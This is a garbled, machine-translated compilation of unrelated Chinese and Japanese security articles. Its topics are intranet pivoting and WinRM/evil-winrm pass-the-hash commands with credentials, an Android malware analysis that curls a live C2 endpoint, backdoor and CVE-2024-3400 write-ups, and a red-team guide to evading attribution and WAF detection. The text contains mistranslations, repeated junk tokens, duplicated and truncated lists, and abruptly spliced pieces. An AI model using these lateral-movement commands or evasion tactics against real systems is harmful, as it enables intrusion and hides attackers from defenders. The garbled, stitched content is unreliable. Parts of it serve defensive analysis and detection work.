3 | MSF5 Auxiliary(server/socks4a)run -J に注意してください。なぜペイロードにメータープレターの代わりにシェルが必要なのか。 MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!
イントラネット浸透中、孤立したネットワークが遭遇し、より論理的に分離されます。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。
FRPは現在、デュアルネットワークカードイントラネットサーバーの権限を取得しており、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。
プロキシファイアがFRPで確立された後、外部ネットワークソックスとイントラネットソックスの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)
プロキシルールを設定し、対応するプロキシを選択します。
2番目の層エージェントが成功し、イントラネット分離マシン445検出が開かれました。
ProxyChainsコマンドラインプロキシアーティファクトプロキシチャインは、第2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)
この攻撃方法には、アカウントとパスワードが必要です。ハッシュを取得した場合は、邪悪なウィンラムを使用してハッシュログインを実現することもできます。
WinRMのフルネームはWindowsリモート管理であり、Microsoftのサーバーハードウェア管理機能の一部であり、ローカルまたはリモートサーバーを管理できます。 WINRMサービスにより、管理者はWindowsオペレーティングシステムにリモートでログインし、Telnetと同様のインタラクティブコマンドラインシェルを取得できますが、基礎となる通信プロトコルはHTTPを使用します。
Windows2012サーバーでは、WinRMがデフォルトで開始され、ポート5985が有効になっており、2008年のシステムでサービスを手動で有効にする必要があります。
Winrm QuickConfig -Qスタートアップ後、ファイアウォールはポートもリリースします
httplistenerリスニングの共存を有効にするように設定します
winrm set winrm/config/service @{enableCompatibilityhttplistener='true'} //80
winrm set winrm/config/service @{enableCompatibilityHttpsListener='true'} //443
リスニングポートを80/443に変更します
winrm set winrm/config/ristener?address=*+transport=http @{port='80 '}
winrm set winrm/config/リスナー?address=*+transport=https @{port='443'}
また、ローカル接続では、WinRMサービスをオンにしてから信頼できるホストをセットアップする必要があります。
Winrm QuickConfig -Q
winrm set winrm/config/client @{trustedhosts='*'}
Winrs -R:http://172.16.142.151:5985 -U3:ADMINISTRATOR -P:ADMIN123 'WHAAMI'
Macの下で邪悪なwinRMを使用してPTHを実装します
sudo gem install vail-winrm
邪悪なwinrm -i 172.16.142.151 -u管理者-h 8842
想要輕鬆掌握Android 惡意軟件的逆轉技術嗎? Incinerator 將是你在這場網絡攻防戰中的得力夥伴,無論是資深專家還是初出茅廬的新手,都能在這款工具中找到自己的舞台。
大家好!在這篇文章裡,我們將探索Incinerator 的強大功能、豐富特性以及它所帶來的種種優勢。這款Android 逆向工程工具集的靈感來自於廣受好評的Shambles項目。
我們的目標非常明確:打造一款能夠輕鬆應對Android 應用,尤其是惡意軟件的高級逆向工具。我們需要的是一個集反編譯、解密、動態調試和漏洞檢測於一體的全能工具。而且,這款工具還得能夠快速、準確地揪出那些常見和隱蔽的威脅跡象(IOCs)。
正是基於這些目標,我們推出了Incinerator!簡單來說,它是一個功能全面、操作簡便的逆向工程生態系統。不論你是經驗豐富的逆向工程專家,還是剛踏入惡意軟件分析領域的新手,Incinerator 都能滿足你的需求。
Incinerator 應用內置了多種強大功能,讓你可以輕鬆反編譯Android 應用,自動解密內容,取消反射API 調用,獲取清晰的反混淆代碼,並在真實設備上進行實時調試分析。這對於那些想要深入了解、分析和逆轉Android 惡意軟件的人來說,是一個完美的選擇,即使你沒有太多經驗也沒關係。
Incinerator 在後台進行的分析工作包括組件分析、安全漏洞檢測、靜態和動態代碼分析、漏洞挖掘以及惡意代碼分析。通過全面的檢查,Incinerator 能夠有效地幫助用戶識別和解決安全風險和漏洞。
在更高層次上,Incinerator 將解密任務放在雲端處理,其內部的漏洞分析引擎沙箱會實時更新漏洞庫,能夠精確到代碼的具體行來定位惡意代碼或漏洞。
多年前,Incinerator 與JEB 或GDA 進行了性能對比測試,並展現出了卓越的性能。如果你想看完整的對比報告,可以點擊這裡查看。
此外,我們還對比了多個威脅情報中心和在線沙箱的惡意代碼檢測與分析能力,以此來衡量Incinerator 的性能。結果同樣令人滿意,相關報告也可供大家參考。
現在,讓我們來認識一下Incinerator 背後的團隊。這款工具由Lian Security的一支約12 人的工程師團隊開發,歷時約兩年。他們也是SHAMBLES、INCINERATOR和FLEGIAS等產品的開發者,這些產品覆蓋了從軟件、基礎設施、硬件到基本操作和維護、產品UI 設計等多個領域。
Incinerator 可以在Windows、MacOS和Linux系統上運行。它支持分析APK 和DEX 文件。 APK 文件包含了編譯後的代碼文件(.dex 文件)、資源文件、證書和清單文件。 DEX 文件是Android 系統的可執行文件,包含了應用程序的所有操作指令和運行時數據。
分析文件的途徑有兩種,一種是通過Incinerator 的桌面應用程序界面,如下圖所示。
另一種是通過雲端的網絡門戶進行。
選擇哪一種方式,全憑個人喜好。我個人習慣於通過桌面應用程序上傳和打開APK。上傳後,你可以登錄到雲端門戶,在https://incinerator.cloud/#/main/task/list查看上傳的樣本。
從網絡門戶,你可以查看和處理生成的基於網絡的報告。這些報告可以分享給其他人進行APK 分析。這種訪問權限需要在你的UCENTER賬戶中進行配置,默認情況下是不公開的。
如果你想要深入了解報告,或者跟隨我們的分析步驟,請點擊這裡,你將看到如下的報告內容。
Incinerator 使用的ML 模型具有非常高的準確性。 Incinerator 的一些功能實際上是開源的,可以在Lian Security 的Github上找到。特別是用於處理和生成報告數據的兩個模型已經公開。
android-malware-detection
apk-obfucation-detection
在Base Info和Behavior Info面板以及Static Analysis、Dynamic Analysis和APK Risk側邊面板中,包含了大量的信息。我們的目標是提供一個材料清單(BOM),它從包管理器、二進製文件、源代碼和容器圖片中派生。
讓我們看看我個人特別喜歡的一些功能。你可以下載APK 的網絡流量,並將其導入到Wireshark 中進行分析。
例如,應用程序權限(Application Permissions)等許多面板,都是基於androidmanifest.xml文件的分析結果得出的,還有更多信息等待你去發掘。
快速瀏覽一下報告中的軟件組成分析(SCA)部分,你會發現這些信息大部分都是非常有價值的。
我邀請你自己去探索這份報告。我不會再次回到這個網絡門戶,因為在網絡上看到的所有內容都已經融入到了主應用程序中。
一旦樣本被雲端引擎完全分析,我們就可以開始在Incinerator 應用程序中對其進行分析。當你第一次加載樣本時,APK 報告會加載出來,它和網絡門戶報告中的內容非常相似。
如前所述,Incinerator 是一個沙箱工具,用於記錄應用程序的整個執行過程,以調用棧的形式展示。當用戶在本地打開相應的樣本時,我們可以提供類似動態調試的體驗。這使得用戶能夠理解樣本在動態執行後是如何被觸發的。
工具界面主要分為兩個部分:Base Info和Behavior info。每個部分提供的信息和主要差異如下,這些是你在使用時通常會看到的內容,但請注意,這裡列出的並不是全部信息。
在右側,我們有四個面板:Android Monitor、Set Debug Device、Static Analysis和Dynamic Analysis,我們將在後面的內容中詳細探討這些面板。
這是Incinerator 用戶界面的基本佈局。
讓我們開始逆轉一些惡意軟件吧!以FakeCalls 為例。逆轉惡意軟件的主要目標之一是識別攻擊者用來竊取和外洩數據的C2 和CC 通信渠道。 Incinerator 在識別這些通信渠道方面表現得非常出色。
正如上圖所示,我們知道這款惡意軟件使用了死信箱解析器(T1102.001)。這是一種將惡意內容存儲在合法網絡服務上,然後通過調用將其安裝到受害者設備上的技術。這些服務常常用來代理和掩蓋與真實CC 服務器之間的通信,通過額外的域名和IP 地址實現。
讓我們通過checkpoint 報告中檢索到的curl 信息,手動在Incinerator 中逆轉這種行為。 Incinerator 引擎識別出了執行請求到C2 服務器daebak222.com/huhu/admin.txt的代碼,如下圖所示。
如果我們對端點執行curl 命令,將會得到以下輸出。
$ curl https://www.daebak222.com/huhu/admin.txt
{
'a01': 'eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==',
'b05': 'Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=',
'a07': 'eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ=='
}
我們的目標是理解惡意軟件為何要獲取這些信息,以及它的用途。結果發現,這些信息被用來更新它的C2 通信渠道。這次檢測的整個調用棧指向了ServerInfoService.java,它調用了Service和Binder Android類,這些類通常在你需要通過HTTP 請求獲取服務器信息的服務中使用。它還提供了其他組件訪問這些信息的方法。
ServerInfo類包含了有關服務器的信息。
a01 (eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==),
b05 (Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=),
a07 (eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ==)
它代表了我們期望從服務器獲取的各種屬性。
其中,serverInfo.a01代表新服務器,serverInfo.b05代表備用服務器,serverInfo.a07代表從哪個服務器獲取信息。 fetch()和fetchFromAlternative()方法用來啟動HTTP 請求,以獲取服務器信息。
如果我們在Incinerator 控制台中按下tab鍵進入fetch()方法,我們可以看到Android 應用程序字節碼的中間語言,也就是所謂的'smali' 代碼。在這裡我們可以清楚地看到eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fD55ZHlkPnB1fHh_P2VpZQ==實際上是daebak222.com/huhu/admin.txt。就在下面,我們有onData方法,如果成功獲取服務器信息,則記錄成功消息。然後,它會檢查ServerInfo對象的字段(a01、b05、a07)是否有空。如果任何一個字段為空,它會記錄一個警告消息,指示服務器信息無效。否則,它將調用ServerInfoService類的updateServerInfo方法,傳遞接收到的ServerInfo對象,以更新服務器信息。
太棒了!有了Incinerator,這一切都變得非常簡單。接下來,讓我們看看Incinerator 的檢測能力。 Incinerator 識別出惡意軟件能夠捕獲設備接收的SMS 消息,發送短信,並根據C2 服務器的指令撥打電話。
讓我們驗證一下這款惡意軟件是否真的具備在受感染設備上捕獲電話通話、短信等信息的能力。首先,我們需要確認惡意軟件是否已經獲取或為自己分配了獲取這些信息的權限。從下面的圖中可以看出,它確實擁有大量權限。
那麼,惡意軟件是如何獲得這些權限的呢?我們可以雙擊調用棧中的任何參數,打開相應的代碼進行查看。特別值得注意的是Add New Device Administrator的事件。
惡意軟件會檢查設備管理員是否活躍,如果不是,它會通過發送一個Intent 來請求設備管理員權限,這個Intent的動作是android.app.action.ADD_DEVICE_ADMIN。只要用戶不答應,它就會不斷地通過循環窗口請求權限。
一旦用戶授予了權限,根據我的經驗,唯一手動停用它的方法是在Settings - Security - Device Management中操作,但到那時可能已經太晚了。
下面列出的是應用程序請求或已經獲取的權限,但這個列表並不全面:
permissionNames.add('READ CONTACTS');
permissionNames.add('WRITE CONTACTS');
permissionNames.add('READ SMS');
permissionNames.add('RECEIVE SMS');
permissionNames.add('SEND SMS');
permissionNames.add('RECORD AUDIO');
permissionNames.add('READ PHONE STATE');
permissionNames.add('WRITE EXTERNAL STORAGE');
permissionNames.add('READ EXTERNAL STORAGE');
permissionNames.add('CHANGE WIFI STATE');
permissionNames.add('INTERNET');
permissionNames.add('ACCESS WIFI STATE');
permissionNames.add('GET ACCOUNTS');
permissionNames.add('READ LOGS');
permissionNames.add('PROCESS OUTGOING CALLS');
permissionNames.add('CALL PHONE');
permissionNames.add('RECEIVE BOOT COMPLETED');
permissionNames.add('DISABLE KEYGUARD');
permissionNames.add('INSTALL SHORTCUT');
permissionNames.add('UNINSTALL SHORTCUT');
permissionNames.add('WAKE LOCK');
permissionNames.add('CHANGE WIFI STATE');
permissionNames.add('INTERNET');
permissionNames.add('ACCESS WIFI STATE');
permissionNames.add('GET ACCOUNTS');
permissionNames.add('READ LOGS');
permissionNames.add('PROCESS OUTGOING CALLS');
permissionNames.a
安全研究人員發現了一個專為移動運營商網絡設計的新的Linux 後門,名為GTPDOOR。 GTPDOOR 背後的威脅分子以GPRS 漫遊交換(GRX) 附近的系統為目標,例如SGSN、GGSN 和P-GW,這些系統可以為攻擊者提供對電信核心網絡的直接訪問。
GRX 是移動電信的一個組件,可促進跨不同地理區域和網絡的數據漫遊服務。服務GPRS 支持節點(SGSN)、網關GPRS 支持節點(GGSN) 和P-GW(分組數據網絡網關(用於4G LTE))是移動運營商網絡基礎設施內的組件,每個組件在移動通信中發揮不同的作用。
由於SGSN、GGSN和P-GW網絡更多地暴露在公眾面前,IP地址範圍列在公開文件中,研究人員認為它們可能是獲得移動運營商網絡初始訪問權限的目標。
安全研究人員解釋說,GTPDOOR 很可能是屬於“LightBasin”威脅組織(UNC1945) 的工具,該組織因專注於全球多家電信公司的情報收集而臭名昭著。
研究人員發現了2023 年底上傳到VirusTotal 的兩個版本的後門,這兩個版本基本上都沒有被防病毒引擎檢測到。這些二進製文件針對的是非常舊的Red Hat Linux 版本,表明目標已經過時。
隱秘的GTPDOOR 操作GTPDOOR 是一種專為電信網絡量身定制的複雜後門惡意軟件,利用GPRS 隧道協議控制平面(GTP-C) 進行隱蔽命令和控制(C2) 通信。它用於部署在與GRX 相鄰的基於Linux 的系統中,負責路由和轉發漫遊相關的信令和用戶平面流量。
使用GTP-C 進行通信允許GTPDOOR 與合法網絡流量混合,並利用不受標準安全解決方案監控的已允許端口。為了提高隱蔽性,GTPDOOR 可以更改其進程名稱以模仿合法的系統進程。
該惡意軟件偵聽特定的GTP-C 回顯請求消息(“魔術數據包”)以喚醒並在主機上執行給定的命令,將輸出發送回其操作員。
惡意數據包結構
GTP 數據包的內容使用簡單的XOR 密碼進行身份驗證和加密,確保只有授權的操作員才能控制惡意軟件。
GTPDOOR v1 支持在被破壞的主機上執行以下操作:
马云惹不起马云設置用於C2 通信的新加密密鑰
马云惹不起马云將任意數據寫入名為“system.conf”的本地文件
马云惹不起马云執行任意shell命令並發送回輸出
GTPDOOR v2 支持上述操作以及以下操作:
马云惹不起马云指定允許通過訪問控制列表(ACL) 機制與受感染主機通信的IP 地址或子網
马云惹不起马云檢索ACL列表,對後門的網絡權限進行動態調整
马云惹不起马云清除ACL 以重置惡意軟件
安全研究人員還強調了該惡意軟件能夠從外部網絡秘密探測,通過任何端口傳遞的TCP 數據包引發響應。
GTPDOOR 攻擊概述
檢測與防禦檢測策略包括監視異常的原始套接字活動、意外的進程名稱以及特定的惡意軟件指示器(例如重複的系統日誌進程)。
推薦的檢測步驟如下:
1.使用lsof 檢查打開的原始套接字,表明存在潛在的漏洞。
2.使用netstat -lp --raw 查找異常的監聽套接字。
3.識別具有異常PPID 的模仿內核線程的進程。
4.搜索/var/run/daemon.pid,這是GTPDOOR 使用的互斥文件。
5.查找可能由惡意軟件創建的意外system.conf 文件。
PID異常
還提供了以下供防御者檢測GTPDOOR 惡意軟件的YARA 規則。
最後,安全研究人員提出了防禦措施,如設置嚴格規則並自覺遵守GSMA 安全指南,利用GTP 防火牆,阻止或過濾掉惡意數據包和連接。
漏洞概述漏洞類型
遠程命令執行
漏洞等級
嚴重
漏洞編號
CVE-2024-3400
漏洞評分
10
利用複雜度
低
影響版本
PAN-OS 11.1.* 11.1.2-h3
PAN-OS 11.0.* 11.0.4-h1
PAN-OS 10.2.* 10.2.9-h1
利用方式
遠程
POC/EXP
未公開
Palo Alto Networks的PAN-OS是一個運行在Palo Alto Networks防火牆和企業VPN設備上的操作系統。 Palo Alto Networks PAN-OS軟件的GlobalProtect功能存在命令注入漏洞,針對特定的PAN-OS版本和不同的功能配置,可能使未經身份驗證的攻擊者能夠在防火牆上以root權限執行任意代碼。 2024年4 月10日,Volexity 發現其一名網絡安全監控(NSM) 客戶對Palo Alto Networks PAN-OS GlobalProtect 功能中發現的漏洞進行了零日利用,攻擊者能夠創建反向shell、下載工具、竊取配置數據以及在網絡內橫向移動。 Palo Alto Networks PSIRT 團隊確認該漏洞為操作系統命令注入問題,並將其分配為CVE-2024-3400。
僅適用於啟用了GlobalProtect gateway(Network GlobalProtect Gateways)和device telemetry(Device Setup Telemetry)的PAN-OS 10.2、PAN-OS 11.0和PAN-OS 11.1防火牆。
資產測繪據www.daydaymap.com數據顯示,近半年國內風險資產分佈情況如下,主要分佈在台灣省。
解決方案官方已發布修復方案,受影響的用戶建議更新至安全版本。
https://support.paloaltonetworks.com/support
一種名為“SoumniBot”的新Android 銀行惡意軟件通過利用Android 清單提取和解析過程中的弱點,使用了新的混淆方法。
該方法使SoumniBot 能夠規避Android 手機中的標準安全措施並執行信息竊取操作。
研究人員發現並分析後提供了該惡意軟件利用Android 例程解析和提取APK 清單的方法的技術細節。
欺騙Android 的解析器清單文件(“AndroidManifest.xml”)位於每個應用程序的根目錄中,包含有關組件(服務、廣播接收器、內容提供程序)、權限和應用程序數據的詳細信息。
雖然惡意APK 可以使用Zimperium 的各種壓縮技巧來愚弄安全工具並逃避分析,但分析師發現SoumniBot 使用了三種不同的方法來繞過解析器檢查,其中涉及操縱清單文件的壓縮和大小。
首先,SoumniBot 在解壓APK 的清單文件時使用無效的壓縮值,該值與負責該角色的Android“libziparchive”庫預期的標準值(0 或8)不同。
Android APK 解析器不會將這些值視為不可接受,而是默認將數據識別為由於錯誤而未壓縮,從而允許APK 繞過安全檢查並繼續在設備上執行。
從APK 中提取清單文件
第二種方法涉及錯誤報告APK 中清單文件的大小,提供大於實際數字的值。
由於該文件在上一步中已被標記為未壓縮,因此直接從存檔中復制該文件,並用垃圾“覆蓋”數據填充差異。
雖然這些額外的數據不會直接損害設備,但它在混淆代碼分析工具方面發揮著至關重要的作用。
報告錯誤的文件大小
第三種規避技術是在清單文件中使用非常長的字符串作為XML 命名空間的名稱,這使得自動分析工具很難檢查到它們,而自動分析工具通常缺乏足夠的內存來處理它們。
清單中的長字符串
Android 官方分析實用程序APK 分析器無法使用上述規避方法處理文件。
SoumniBot 威脅啟動後,SoumniBot 從硬編碼服務器地址請求其配置參數,並發送受感染設備的分析信息,包括編號、運營商等。
接下來,它會啟動一個惡意服務,如果停止,該服務每16 分鐘就會重新啟動一次,並每15 秒傳輸一次從受害者那裡竊取的數據。
洩露的詳細信息包括IP 地址、聯繫人列表、帳戶詳細信息、短信、照片、視頻和網上銀行數字證書。數據洩露由惡意軟件通過MQTT 服務器接收的命令控制,這些命令還對以下功能進行排序:
马云惹不起马云刪除現有聯繫人或添加新聯繫人
马云惹不起马云發送短信(轉發)
马云惹不起马云設置鈴聲音量
马云惹不起马云打開或關閉靜音模式
马云惹不起马云打開或關閉設備上的調試模式
目前尚不清楚SoumniBot 如何到達設備,但方法可能有所不同,從通過第三方Android 商店和不安全網站分發到使用受信任存儲庫中的惡意代碼更新合法應用程序。
SoumniBot 主要針對韓國用戶,與許多惡意Android 應用程序一樣,它在安裝後隱藏其圖標,使其更難以刪除。其實,它在後台仍然活躍,並從受害者處上傳數據。
最近、私はそれを理解しているので、ブルーチームに戻りました。私は時折、顧客とのつながりにゲストの役割を果たし、接触した各デバイスの特性に基づいていくつかの要約を書きました。レッドチームのビジョンから、ソースが追跡されないようにする方法。
--- 8SEC.CC
浸透中に一般的なブラウザとは異なるブラウザを使用してみてください。
FirefoxとChromeには微量モードがあります。ターゲット資産がわからない場合は、テストのためにTrageless Modeをオンにしてください。
上記の2つの方法は、主にJSONPコールバック、XSS、およびハニーポットでその他の脆弱性を使用して、REDチーム担当者のIDと情報を取得することを避けることができます。
ただし、ハニーポットで使用される指紋ライブラリは、ソース訪問者が異なるIPSと異なるブラウザの特定の識別に基づいて同じ人物であるかどうかを判断できます。したがって、トレースレスモードと異なるブラウザのみを使用すると、ハニーポットの認識にもつながります。
AntihoneyPot-ハニーポットXSSIを傍受するクロム拡張機能
ページで開始されたXSSIリクエストを傍受し、特徴の識別を通じて疑わしいXSSI(JSONPコールバック、XSSなど)をブロックし、ハニーポットの固有の特徴を分析し、つかみ、すべてのリクエストを識別し、すべてのリクエストを識別して、ライブラリが存在するかどうかを判断するかどうかを判断します。 Clipboard Pasteが(さらに検証するために)評価されているかどうかを判断するための関連する呼び出しは、ワンクリックで現在のWebサイトのすべてのブラウザデータ機能(すべてのキャッシュおよび保存されたものを含む)をクリアして、ファイルシステムをページで操作できるかどうかを判断します(ここに記述できます)ハニーポットとは、VPSがbeat打されており、日常的に削除されていることは、Redチームの職員がLinux/Windowsの操作とメンテナンスの理解がないということです。
たとえば、Dockerを使用して脆弱な環境を構築することが逃げます。
ワンクリック環境を使用して、デフォルトのプログラムデフォルトパスワード(PHPMYADMIN、BT/PMAの脆弱性、情報漏れの脆弱性)を構築する
NMAPのインタラクティブ実行コマンドは、suidビットエスカレーションなどを見つけます。
さまざまなアプリケーション、iptables、リモートログイン制限ログインソース、およびバーストの数をインストールするためのターゲット制限が必要です。 CSなどのソフトウェアをインストールして使用することをお勧めします。777のアクセス許可は与えません。今回は、権利の逆栄養の事例があります。
広く流通しているカウンターケースでは、Blue Team VPNインストールパッケージのバンドルされた馬/白と黒の使用により、Red Teamの職員がオンラインになりました。したがって、ファイナンス(すなわちコントロール)、VPNなどのターゲットをダウンロード/インストールする場合は、可能な限り仮想マシンで操作して、異なる作業/プロジェクトごとに画像をロールバックし、仮想マシンネットワークエージェントの構成が完了したらバックアップを作成します。
Alibaba Smallアカウントは登録と申請を禁止しており、しばらく閉鎖されると推定されています。定期的な普及中に、SMSカードを購入したり、コードレシーブプラットフォームを使用したり、インターネット電話を使用して電話をかけたり、本名カードを購入したりすることができます。日常生活から身体的孤立を達成することが最善です。
Alipayには以前に問題がありました。オンラインマーチャントバンクを有効にすると、3つの文字を持つ転送オブジェクトの名前を直接確認できます。 2文字の場合、Alipay転送関数を直接使用して、他の情報に基づいて名前を推測できます。
Wechatは、IDが漏れている場所でもあります。携帯電話検索をオフにし、Wechatグループに友達を追加し、QRコードが友人を追加できるようにし、3日以内に友人のサークルを見ることができるようにします。友達に可能な限り偽の名前を作るように頼んでください。例:Zhang xx li xx
WeChatと同じように、スペースの非フレンドアクセス、アクセス日の制限、写真の制限、写真の壁の制限、ゲームディスプレイを閉じます。友達に可能な限り偽の名前を作るように頼んでください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。
https://zhuanlan.zhihu.com/p/95525409
QQ一般的な友達の本名を取得します
https://github.com/anntsmart/qq
使用できなくなりましたが、関連するインターフェイスが漏れていないという意味ではありません。たとえば、以前のT.QQ.comでQQにログインすると、セキュリティの検証なしで直接ログインしてQQ SEALEYを取得できます。
:ブラザーパンツなどの一般的なネットワークIDに通常の文字を使用してみてください。この種のニュースフィギュア。
可能な限り偽の名前を作るように友達に依頼してください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。
ソーシャルワークライブラリにはますます多くの情報があるため、隠すためにお金を使うことは純粋にダチョウです。したがって、偽の名前+小さなアカウントを使用して排出/明示するなど、さまざまな場所での真の情報のみを隠すことができます。オンラインで生成された情報またはあなたが知っているソースを使用して身元情報を登録します。
ネットワークの隠蔽を強調する必要があります。さまざまなプロキシメソッドと、どのような状況下で使用するのに適したかの違いが必要です。
接続トラフィックは暗号化/観察されます。 KCPを使用する場合は、WeChatビデオトラフィックをシミュレートできます。
Socks5が使用されるため、TCPトラフィックのみをプロキシでき、ICMP/UDPはプロキシできません。また、クライアントの転送パフォーマンスの問題により漏れを引き起こすのは簡単です。
従来の専用ラインプロキシモードは、さまざまなシステムのグローバルプロキシをサポートしています。鍵をクラックする可能性は高くありません。プロキシは、異なるアドレスにアクセスして異なるルートに移動するかどうかを判断するために、ルートを手動で設定できます。 0.0.0.0を設定して、VPNの完全なプロトコルに移動できます。 OpenVPN/SoftEtherVpnを簡単に構築できます
Linux構造:
https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/readme-zh.md
ネットワークが不安定な場合、背景は簡単に直接落ち、プロンプトは非常に短いため、裸で実行するのは簡単です。ルーターが制限されているときにポート1723のみが外出することを許可されていることをお勧めします。そうすれば、切断されている場合、ネットワークを直接離れることができません。 VPNに接続するまで。国内ネットワーク内のすべてのL2TPトラフィックを復号化できます。
製品リスト:
SSLプロトコルは、主にSSL記録プロトコルとハンドシェイクプロトコルで構成されており、アプリケーションアクセス接続の認証、暗号化、改ざん防止関数を一緒に提供します。トラフィックは暗号化できます。
SSL VPNはWebブラウザーアプリケーションに限定されており、一部のプロトコルを使用することはできません。
ソフトウェアをコンパイルする過程で、管理者ユーザーを使用して仮想マシンでコンパイルすることをお勧めします。 C#/Cがコンパイルされた後にユーザー名が漏れた場合、ユーザー名が漏れます。これにより、ID情報はWeibuなどのプラットフォームに関連付けられます。
PDBファイル:すべての開発者が知っておくべきこと
また、github/blog/wxの記事から別のIDを使用して、以前に作成された誤った情報で取得できる検索結果または情報を集中してみてください。オープンコードのために、個人情報を漏らす機能の害を最小限に抑えます。
柔軟なC2を使用してCSトラフィックを難読化し、ドメインフロントと協力してバックエンドIPを隠し、デフォルトのCS証明書を置き換えます。
いくつかのWAFデバイスのトラフィックを表示すると、WAFの機能的な制限により、大きなパッケージに大きなパッケージを記録しないことがわかります。パッケージがルールをトリガーすると思われる場合は、まずいくつかのガベージ文字を身体に記入できます。このようにして、実際のマッチングコンテンツはハードWAFで見ることができず、ブルーチームを誤解させてビジネスであるかどうかを判断することもできます。 (フルフローデバイスはありません)
AISA/TIANYANなどのデバイスでは、パッケージに悪意のあるコンテンツがある場合、いくつかの弱いパスワード機能/プレーンテキストパスワードログインおよびその他のアラームを記入して、リスクの高いアラームをカバーします。
WAFのテスト中に混乱を招くホストが見つかった場合、WAFはpre-natアドレスを検出できます。ターゲットイントラネットのいくつかのIPアドレスを理解できる場合は、ホストの難読化を使用して、WAFモニターがpre-natアドレスがイントラネットデバイスのアドレスであると判断できるようにすることができます。これにより、他の当事者が安全なサーバーに応答し、相手の時間コストを増加させるように導くこともできます。
通常、XFFヘッダー偽造はWebログインIPの制限をバイパスするために使用されますが、一部の複雑なイントラネットの場合、セキュリティデバイスはXFFヘッダーを使用して攻撃の最も外側の攻撃IPを判断してからブロックします。これは、攻撃プロセス中に交換するか、XFFヘッダーを追加して、相手の監視担当者を自分で混同します。または、CDNの前にXFFを追加してから、CDNをXFFを連続的に重ねさせます。 WAFでのXFFの追加を表示した後、攻撃IPを127.0.0.1として正常に特定しました。
赤いチームプロジェクトのトレーサビリティを防ぐために、可能な限り浸透のためにトラフィックカードを使用することをお勧めします。一部のトラフィックカードは都市にジャンプしますが、これは非常に良いです。私が今使用しているカードを含めて、IP判断は基本的に中国であり、州でさえ出てきません。これは、ブルーチームが一般的に使用されるIPロケーションに基づいて配置されていることは言うまでもありません。
通常、DNSの特性はブラックドメイン名に定期的に開始されます(有効になっていない場合)
この場合、DNS特性を決定することは非常に困難ですが、それを確認する場合は、TianyanでDNS-Type:1を確認できます。
レコードA:
DNS-TXTを有効にした後、特性はより明白です。
DNS-TypeはTXTタイプのレコードを見つけることができ、TianyanでDNS-Type:16を検索します。 TXTの記録がある場合、多数のXXX.16-digital.domain形式でCSのDNS馬として一時的に判断できます。ただし、CCSの3.14バージョンのリクエストが暗号化された後、暗号化キーはまだ見ていません。まだ解決されていません。
コマンドを実行する特性は投稿です。
數據是現代企業的新石油:正確使用它可以促進公司的發展並幫助企業在競爭中領先。就像石油一樣,原始數據和未被發現的數據是毫無用處的,企業將無法從中受益;在最壞的情況下,它可能會導致安全事件。這也是企業投資敏感數據發現和保護解決方案的原因。
傳統的數據發現工具由數據掃描儀和基於規則的算法提供支持,這些工具通常不足以掌握不斷增長的新數據流。因此,許多企業利用人工智能(AI) 增強其數據發現和保護解決方案。
在本文中,我們將討論基於規則係統的主要缺點以及使用人工智能發現和保護敏感數據的好處、典型的數據發現和保護解決方案的工作原理,還分享有Apriorit 經驗中的開發技巧。
敏感數據發現如何影響企業安全將敏感數據保存在一個安全的存儲位置似乎是一項容易的任務,但實際上對於許多企業來說幾乎是不可能的。在COVID-19 大流行期間過渡到遠程或混合工作、將本地環境遷移到雲或經歷合併和收購過程,可能會導致敏感數據存儲在最不明顯的地方。此類數據會受到網絡安全解決方案的關注,並增加數據洩露或安全事件的風險。
存儲在企業控制和安全邊界之外的數據會帶來數據盜竊或數據洩漏等安全事件的風險。這就是企業投資敏感數據發現軟件的原因——用於檢測、識別和組織所有組織資源和環境中的記錄的工具。
實施這樣的解決方案可以讓企業:
马云惹不起马云 確保遵守網絡安全法
马云惹不起马云防止數據被盜和洩露
马云惹不起马云進行數據驅動的網絡安全改進
马云惹不起马云提高數據管理效率
跨不同環境和基礎設施控制敏感數據的需求不斷增長,導致數據發現軟件越來越受歡迎。事實上,全球敏感數據發現市場預計將從2020 年的51 億美元增長到2026 年的124 億美元。
敏感數據保護髮現和工具對於以下行業中處理敏感信息的企業尤其重要:
马云惹不起马云 金融科技
马云惹不起马云零售與電子商務
马云惹不起马云衛生保健
马云惹不起马云保險
马云惹不起马云運輸與物流
马云惹不起马云人力資源和客戶服務
马云惹不起马云軟件開發
然而,傳統的數據發現解決方案無法始終跟上現代公司生成新記錄的速度。接下來,我們來看看這些工具的主要弱點和局限性。
為什麼傳統的數據發現工具不夠用雖然用於數據發現和保護的專用工具可提供許多業務優勢,但管理它們並將其集成到現有的公司係統中可能具有挑戰性。
以下是基於規則的數據發現的主要缺點:
1.發現過程緩慢基於規則的系統通常依賴數據庫和存儲掃描器來發現新記錄。他們花費大量時間來分析集成的存儲實例,必須進行一一掃描。如果在掃描期間添加新記錄,該工具將不會發現它,直到完成當前掃描並開始新掃描。此外,掃描儀必須在每次掃描期間檢查所有記錄,包括自上次掃描以來未更改的記錄。
